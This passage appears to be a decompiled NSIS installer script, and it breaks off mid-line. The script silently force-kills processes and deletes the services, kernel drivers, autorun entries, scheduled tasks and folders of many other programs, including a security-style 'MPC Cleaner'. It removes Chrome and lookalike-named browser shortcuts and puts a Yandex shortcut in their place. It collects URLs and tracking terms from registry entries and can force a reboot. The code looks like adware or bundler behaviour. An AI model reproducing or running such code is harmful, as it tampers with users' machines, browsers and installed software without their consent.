DeleteRegKey HKLM SYSTEM\ControlSet001\services\transl RMDir /r /REBOOTOK $PROGRAMFILES\e2ru label_13521: IfFileExists $PROGRAMFILES\e2rusvc\TranslateService.exe 0 label_13529 nsExec::Exec "cmd /k taskkill /IM TranslateService.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM TranslateService.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Translator Build Manager" RMDir /r /REBOOTOK $PROGRAMFILES\e2rusvc label_13529: IfFileExists "$PROGRAMFILES\Translate Mgr\å2ru.exe" label_13531 IfFileExists "$PROGRAMFILES\Translate Mgr\e2ru.exe" 0 label_13547 label_13531: nsExec::Exec "cmd /k taskkill /IM e2ru.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM e2ru.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Delete /REBOOTOK "$PROGRAMFILES\Translate Mgr\*" RMDir /r /REBOOTOK "$PROGRAMFILES\Translate Mgr" ClearErrors ReadRegStr $1 HKCU "Software\Translate Mgr" m_Name IfErrors label_13547 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run $1 nsExec::ExecToStack "schtasks /delete /tn $\"$1$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"$1$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack label_13547: IfFileExists $LOCALAPPDATA\FilterStart\FiltårStàrt.exe label_13549 IfFileExists $LOCALAPPDATA\FilterStart\FilterStart.exe 0 label_13565 label_13549: nsExec::Exec "cmd /k taskkill /IM FilterStart.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM FilterStart.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Delete /REBOOTOK $LOCALAPPDATA\FilterStart\* RMDir /r /REBOOTOK $LOCALAPPDATA\FilterStart ClearErrors ReadRegStr $1 HKLM "Software\Translate Mgr" m_Name IfErrors label_13565 DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run $1 nsExec::ExecToStack "schtasks /delete /tn $\"$1$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"$1$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack label_13565: IfFileExists $WINDIR\translateMgr.sys 0 label_13573 nsExec::Exec "cmd /k net stop translateMgr" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k net stop translateMgr" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\translateMgr Delete /REBOOTOK $WINDIR\translateMgr.sys label_13573: IfFileExists $LOCALAPPDATA\translatemgr* 0 label_13592 StrCpy $0 "" FindFirst $0 $R1 $LOCALAPPDATA\translatemgr* label_13576: StrCmp $R1 "" label_13591 IfFileExists $LOCALAPPDATA\$R1 0 label_13589 nsExec::Exec "cmd /k taskkill /IM $R1.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $R1.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"$R1$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"$R1$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\$R1 label_13589: FindNext $0 $R1 Goto label_13576 label_13591: FindClose $0 label_13592: IfFileExists "$LOCALAPPDATA\Translate Mgr Helper\TMHålpår.exe" label_13594 IfFileExists "$LOCALAPPDATA\Translate Mgr Helper\TMHelper.exe" 0 label_13605 label_13594: nsExec::Exec "cmd /k taskkill /IM TMHelper.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM TMHelper.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"Translate Mgr Helper$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Translate Mgr Helper$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK "$LOCALAPPDATA\Translate Mgr Helper" label_13605: IfFileExists $APPDATA\Checkers\Draughts\Draughts.exe 0 label_13613 nsExec::Exec "cmd /k taskkill /IM Draughts.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Draughts.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Draughts RMDir /r /REBOOTOK $APPDATA\Checkers\Draughts label_13613: IfFileExists $APPDATA\NotepadApp\NotepadApp.exe 0 label_13622 IfFileExists $APPDATA\NotepadApp\Notices.exe 0 label_13622 nsExec::Exec "cmd /k taskkill /IM Notices.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Notices.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Notices RMDir /r /REBOOTOK $APPDATA\NotepadApp label_13622: IfFileExists $APPDATA\ScreenShot\ScreenShot.exe 0 label_13633 IfFileExists $APPDATA\ScreenShot\SSMaker.exe 0 label_13633 nsExec::Exec "cmd /k taskkill /IM $\"SSMaker.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"SSMaker.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSMaker RMDir /r /REBOOTOK $APPDATA\ScreenShot IfFileExists $DESKTOP\ScreenShot.lnk 0 label_13633 Delete $DESKTOP\ScreenShot.lnk label_13633: IfFileExists $APPDATA\ScreenMaker\ScreenMaker.exe 0 label_13644 IfFileExists $APPDATA\ScreenMaker\SSMaker.exe 0 label_13644 nsExec::Exec "cmd /k taskkill /IM $\"SSMaker.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"SSMaker.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSMaker RMDir /r /REBOOTOK $APPDATA\ScreenMaker IfFileExists $DESKTOP\ScreenMaker.lnk 0 label_13644 Delete $DESKTOP\ScreenMaker.lnk label_13644: IfFileExists $APPDATA\SevilerGame\Seviler\Seviler.exe 0 label_13655 IfFileExists $APPDATA\SevilerGame\SevilerGame.exe 0 label_13655 nsExec::Exec "cmd /k taskkill /IM Seviler.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Seviler.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Seviler RMDir /r /REBOOTOK $APPDATA\SevilerGame IfFileExists $DESKTOP\SevilerGame.lnk 0 label_13655 Delete $DESKTOP\SevilerGame.lnk label_13655: StrCpy $0 "" IfFileExists $PROGRAMFILES64\Bit$0Torrent\Bit$0Torrent.exe 0 label_13664 nsExec::Exec "cmd /k taskkill /IM Bit$0Torrent.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Bit$0Torrent.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\Bit$0Torrent RMDir /r /REBOOTOK $PROGRAMFILES64\Bit$0Torrent label_13664: IfFileExists $APPDATA\SimpleNotepad\SimpleNoteApp.exe 0 label_13675 IfFileExists $APPDATA\SimpleNotepad\SimpleNotepad.exe 0 label_13675 nsExec::Exec "cmd /k taskkill /IM SimpleNoteApp.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM SimpleNoteApp.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run SimpleNoteApp RMDir /r /REBOOTOK $APPDATA\SimpleNotepad IfFileExists $DESKTOP\SimpleNotepad.lnk 0 label_13675 Delete $DESKTOP\SimpleNotepad.lnk label_13675: IfFileExists "$PROGRAMFILES\MPC Cleaner" 0 label_13751 StrCpy $R1 "" IfFileExists "$PROGRAMFILES\MPC Cleaner\UninstDelete.exe" 0 label_13679 StrCpy $R1 1 label_13679: nsExec::Exec "cmd /k $\"$PROGRAMFILES\MPC Cleaner\UninstDelete.exe$\" /S" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k $\"$PROGRAMFILES\MPC Cleaner\UninstDelete.exe$\" /S" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Sleep 5000 nsExec::Exec "cmd /k net stop MPCleaner" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k net stop MPCleaner" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k net stop MPCProtectService" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k net stop MPCProtectService" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM MPC.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM MPC.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM MPCProtectService.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM MPCProtectService.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM MPCSecurity.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM MPCSecurity.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM MPCTray.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM MPCTray.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM MPCTray64.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM MPCTray64.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\MPCleaner DeleteRegKey HKLM SYSTEM\ControlSet001\services\MPCProtectService RMDir /r /REBOOTOK "$PROGRAMFILES\MPC Cleaner" System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\MPCKpt.sys 0 label_13731 DeleteRegKey HKLM SYSTEM\ControlSet001\services\MPCKpt Delete /REBOOTOK $SYSDIR\drivers\MPCKpt.sys label_13731: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\MPCKpt.sys 0 label_13739 DeleteRegKey HKLM SYSTEM\ControlSet001\services\MPCKpt Delete /REBOOTOK $SYSDIR\drivers\MPCKpt.sys label_13739: IfFileExists $EXEDIR\MPCRRM label_13751 StrCmp $R1 1 0 label_13751 FileOpen $1 $EXEDIR\MPCRRM w FileWrite $1 "" FileClose $1 IfFileExists $EXEDIR\MPCRRM 0 label_13751 nsExec::Exec "cmd /k shutdown -r -t 25" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k shutdown -r -t 25" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Quit label_13751: ClearErrors ReadRegStr $1 HKCU Software\InstallPath\Status SnapDoNew IfErrors label_13785 StrCpy $0 "" StrCpy $2 "" StrCpy $R1 "" FindFirst $0 $R1 $LOCALAPPDATA\*.exe.config label_13758: StrCmp $R1 "" label_13784 Push $R1 Push .config Push "" Call func_179 Pop $2 Push $2 Push .exe Push "" Call func_179 Pop $2 IfFileExists $LOCALAPPDATA\$2.exe 0 label_13782 IfFileExists $LOCALAPPDATA\$2.dat 0 label_13782 nsExec::Exec "cmd /k taskkill /IM $\"$2.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"$2.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Delete /REBOOTOK $LOCALAPPDATA\$2.exe Delete /REBOOTOK $LOCALAPPDATA\$2.dat Delete /REBOOTOK $LOCALAPPDATA\$2.exe.config SetShellVarContext current IfFileExists $LOCALAPPDATA\Yandex\YandexBrowser\Application\browser.exe 0 label_13782 CreateShortCut $DESKTOP\Yandex.lnk $LOCALAPPDATA\Yandex\YandexBrowser\Application\browser.exe label_13782: FindNext $0 $R1 Goto label_13758 label_13784: FindClose $0 label_13785: ClearErrors ReadRegStr $1 HKCU Software\InstallPath\Status SnapDoNew IfErrors label_13814 StrCpy $0 0 StrCpy $1 "" StrCpy $2 "" label_13791: EnumRegKey $1 HKLM Software\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_13814 IntOp $0 $0 + 1 ReadRegStr $2 HKLM Software\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayName StrCmp $2 SnapDo 0 label_13813 ClearErrors ReadRegStr $2 HKLM Software\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayIcon IfErrors label_13791 Push $2 Push \uninstall.ico Push "" Call func_179 Pop $R1 IfFileExists $R1\uninstall.exe 0 label_13813 IfFileExists $R1\uninstall.dat 0 label_13813 nsExec::Exec "cmd /k taskkill /IM uninstall.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM uninstall.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM Software\Microsoft\Windows\CurrentVersion\Uninstall\$1 RMDir /r /REBOOTOK $R1 label_13813: Goto label_13791 label_13814: IfFileExists $APPDATA\HP* 0 label_13841 StrCpy $0 "" StrCpy $2 "" StrCpy $R1 "" FindFirst $0 $R1 $APPDATA\HP* label_13819: StrCmp $R1 "" label_13830 ClearErrors ReadRegStr $2 HKLM Software\Microsoft\Windows\CurrentVersion\Uninstall\$R1 DisplayName IfErrors label_13828 IfFileExists $APPDATA\$R1\*Srv.exe 0 label_13828 Push $R1 Call func_19227 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\$R1 Service" RMDir /r /REBOOTOK $APPDATA\$R1 label_13828: FindNext $0 $R1 Goto label_13819 label_13830: FindClose $0 SetShellVarContext all IfFileExists $DESKTOP\Îðårà.lnk 0 label_13834 Delete $DESKTOP\Îðårà.lnk label_13834: IfFileExists "$DESKTOP\Ìîzillà Firåfîõ.lnk" 0 label_13836 Delete "$DESKTOP\Ìîzillà Firåfîõ.lnk" label_13836: IfFileExists "$DESKTOP\Google Chrome.lnk" 0 label_13838 Delete "$DESKTOP\Google Chrome.lnk" label_13838: SetShellVarContext current IfFileExists $LOCALAPPDATA\Yandex\YandexBrowser\Application\browser.exe 0 label_13841 CreateShortCut $DESKTOP\Yandex.lnk $LOCALAPPDATA\Yandex\YandexBrowser\Application\browser.exe label_13841: IfFileExists $COMMONFILES\Y-saoity 0 label_13843 RMDir /r /REBOOTOK $COMMONFILES\Y-saoity label_13843: IfFileExists $COMMONFILES\FreeZimfind 0 label_13845 RMDir /r /REBOOTOK $COMMONFILES\FreeZimfind label_13845: IfFileExists "$DESKTOP\Gåt Ràndîm Viràl.lnk" 0 label_13847 Delete "$DESKTOP\Gåt Ràndîm Viràl.lnk" label_13847: IfFileExists "$DESKTOP\Gîîglå Såàrñh.lnk" 0 label_13849 Delete "$DESKTOP\Gîîglå Såàrñh.lnk" label_13849: IfFileExists $DESKTOP\NotepadApp.lnk 0 label_13851 Delete $DESKTOP\NotepadApp.lnk label_13851: IfFileExists $DESKTOP\Checkers.lnk 0 label_13853 Delete $DESKTOP\Checkers.lnk label_13853: IfFileExists $LOCALAPPDATA\Damfase.exe 0 label_13861 nsExec::Exec "cmd /k taskkill /IM Damfase.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Damfase.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\downukadqppcoductpro Delete /REBOOTOK $LOCALAPPDATA\Damfase.exe label_13861: IfFileExists $PROGRAMFILES\CondRed\CondRedSrv.exe 0 label_13874 nsExec::Exec "cmd /k taskkill /IM CondRedSrv.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM CondRedSrv.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Stuff.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Stuff.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM "SYSTEM\ControlSet001\services\CondRed Service" RMDir /r /REBOOTOK $PROGRAMFILES\CondRed label_13874: IfFileExists $APPDATA\Rutube\launcher.exe 0 label_13887 nsExec::Exec "cmd /k taskkill /IM launcher.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM launcher.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM stub.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM stub.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Rutube RMDir /r /REBOOTOK $APPDATA\Rutube label_13887: IfFileExists $LOCALAPPDATA\SystemDir\nethost.exe label_13889 IfFileExists $LOCALAPPDATA\SystemDir\setsearchm.exe 0 label_13895 label_13889: nsExec::Exec "cmd /k taskkill /IM nethost.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM nethost.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\SystemDir label_13895: ClearErrors ReadRegStr $R0 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\wincheck DisplayIcon IfErrors label_13925 Push $R0 Call :label_4803 Pop $4 Push $R0 Call :label_1768 Pop $R0 Push $R0 Push "" Push "" Push $\" Call :label_1606 Pop $R0 StrCpy $0 $4.exe KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_13922 StrCmp $0 0 label_13922 StrCpy $0 $4.exe KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses label_13922: DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run WinCheck IfFileExists $R0 0 label_13925 RMDir /r /REBOOTOK $R0 label_13925: IfFileExists $LOCALAPPDATA\wincheck\wincheck.exe 0 label_13928 DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run WinCheck RMDir /r /REBOOTOK $LOCALAPPDATA\wincheck label_13928: StrCpy $_49_ FSPU StrCpy $R0 0 label_13930: ClearErrors EnumRegValue $1 HKCU Software\Microsoft\Windows\CurrentVersion\Run $R0 IfErrors label_13979 IntOp $R0 $R0 + 1 ReadRegStr $2 HKCU Software\Microsoft\Windows\CurrentVersion\Run $1 ClearErrors Push $2 Push "explorer $\"http://" Call :label_405 Pop $R3 IfErrors label_13949 Push $2 Push "explorer $\"http://" Push "" Call func_179 Pop $_49_ DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run $1 StrCpy $R0 0 Goto label_13930 label_13949: ClearErrors Push $2 Push "cmd /c start $\"$\" $\"http://" Call :label_405 Pop $R3 IfErrors label_13963 Push $2 Push "cmd /c start $\"$\" $\"http://" Push "" Call func_179 Pop $_49_ DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run $1 StrCpy $R0 0 Goto label_13930 label_13963: ClearErrors StrCpy $0 "" Push $2 Push "cmd /c star$0t http://" Call :label_405 Pop $R3 IfErrors label_13978 Push $2 Push "cmd /c star$0t http://" Push "" Call func_179 Pop $_49_ DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run $1 StrCpy $R0 0 Goto label_13930 label_13978: Goto label_13930 label_13979: StrCmp $_49_ FSPU label_13989 Push http://$_49_ Push /? Push > Push < Push 0 Push 0 Push 0 Call func_4539 Pop $_49_ label_13989: StrCpy $_50_ "" ClearErrors ReadRegStr $_50_ HKCU "Software\Start Page" "Start Page" IfErrors label_14008 Push $_50_ Push utm_term= Call :label_405 Pop $_50_ ClearErrors Push $_50_ Push & Push > Push < Push 0 Push 0 Push 0 Call func_4539 Pop $_50_ IfErrors label_14008 label_14009 label_14008: StrCpy $_50_ "" label_14009: IfFileExists $LOCALAPPDATA\fupdate\fupdate.exe 0 label_14021 nsExec::Exec "cmd /k taskkill /IM $\"fupdate.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"fupdate.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"fupdate$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"fupdate$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\fupdate label_14021: IfFileExists $PROGRAMFILES\globalUpdate 0 label_14025 DeleteRegKey HKLM SYSTEM\ControlSet001\services\globalUpdate DeleteRegKey HKLM SYSTEM\ControlSet001\services\globalUpdatem RMDir /r /REBOOTOK $PROGRAMFILES\globalUpdate label_14025: IfFileExists "$PROGRAMFILES\PC Speed Up" 0 label_14029 DeleteRegKey HKLM SYSTEM\ControlSet001\services\PCSUService DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run PCSpeedUp RMDir /r /REBOOTOK "$PROGRAMFILES\PC Speed Up" label_14029: IfFileExists "$PROGRAMFILES\MyPC Backup" 0 label_14032 DeleteRegKey HKLM SYSTEM\ControlSet001\services\BackupStack RMDir /r /REBOOTOK "$PROGRAMFILES\MyPC Backup" label_14032: IfFileExists $PROGRAMFILES\gmsd_ru_* 0 label_14046 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\gmsd_ru_* label_14035: StrCmp $R1 "" label_14045 IfFileExists $PROGRAMFILES\$R1 0 label_14043 nsExec::Exec "cmd /k taskkill /IM $R1.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $R1.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\$R1 label_14043: FindNext $0 $R1 Goto label_14035 label_14045: FindClose $0 label_14046: IfFileExists $LOCALAPPDATA\gmsd_ru_* 0 label_14060 StrCpy $0 "" FindFirst $0 $R1 $LOCALAPPDATA\gmsd_ru_* label_14049: StrCmp $R1 "" label_14059 IfFileExists $LOCALAPPDATA\$R1 0 label_14057 nsExec::Exec "cmd /k taskkill /IM $R1.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $R1.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\$R1 label_14057: FindNext $0 $R1 Goto label_14049 label_14059: FindClose $0 label_14060: IfFileExists $PROGRAMFILES64\HomeSafe 0 label_14062 RMDir /r /REBOOTOK $PROGRAMFILES64\HomeSafe label_14062: IfFileExists $PROGRAMFILES\AnyProtectEx 0 label_14066 IfFileExists $DESKTOP\AnyProtect.lnk 0 label_14065 Delete $DESKTOP\AnyProtect.lnk label_14065: RMDir /r /REBOOTOK $PROGRAMFILES\AnyProtectEx label_14066: IfFileExists $PROGRAMFILES\*BlockAndSurf 0 label_14084 nsExec::ExecToStack "schtasks /delete /tn $\"BlockAndSurf Update$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"BlockAndSurf Update$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::Exec "cmd /k taskkill /IM BlockAndSurf.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM BlockAndSurf.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\*BlockAndSurf label_14079: StrCmp $R1 "" label_14083 RMDir /r /REBOOTOK $PROGRAMFILES\$R1 FindNext $0 $R1 Goto label_14079 label_14083: FindClose $0 label_14084: System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\webTinstMKTN84.sys 0 label_14092 DeleteRegKey HKLM SYSTEM\ControlSet001\services\webTinstMKTN84 Delete /REBOOTOK $SYSDIR\drivers\webTinstMKTN84.sys label_14092: IfFileExists $SYSDIR\drivers\webTinst.sys 0 label_14094 Delete /REBOOTOK $SYSDIR\drivers\webTinst.sys label_14094: IfFileExists $SYSDIR\drivers\webTinstMK.sys 0 label_14097 DeleteRegKey HKLM SYSTEM\ControlSet001\services\webTinstMK Delete /REBOOTOK $SYSDIR\drivers\webTinstMK.sys label_14097: IfFileExists $SYSDIR\drivers\webTinstMKTN.sys 0 label_14100 DeleteRegKey HKLM SYSTEM\ControlSet001\services\webTinstMKTN Delete /REBOOTOK $SYSDIR\drivers\webTinstMKTN.sys label_14100: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\webTinstMKTN84.sys 0 label_14108 DeleteRegKey HKLM SYSTEM\ControlSet001\services\webTinstMKTN84 Delete /REBOOTOK $SYSDIR\drivers\webTinstMKTN84.sys label_14108: IfFileExists $SYSDIR\drivers\webTinst.sys 0 label_14110 Delete /REBOOTOK $SYSDIR\drivers\webTinst.sys label_14110: IfFileExists $SYSDIR\drivers\webTinstMK.sys 0 label_14113 DeleteRegKey HKLM SYSTEM\ControlSet001\services\webTinstMK Delete /REBOOTOK $SYSDIR\drivers\webTinstMK.sys label_14113: IfFileExists $SYSDIR\drivers\webTinstMKTN.sys 0 label_14116 DeleteRegKey HKLM SYSTEM\ControlSet001\services\webTinstMKTN Delete /REBOOTOK $SYSDIR\drivers\webTinstMKTN.sys label_14116: IfFileExists $PROGRAMFILES\Techgile\bin\utilTechgile.exe 0 label_14120 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util Techgile" DeleteRegKey 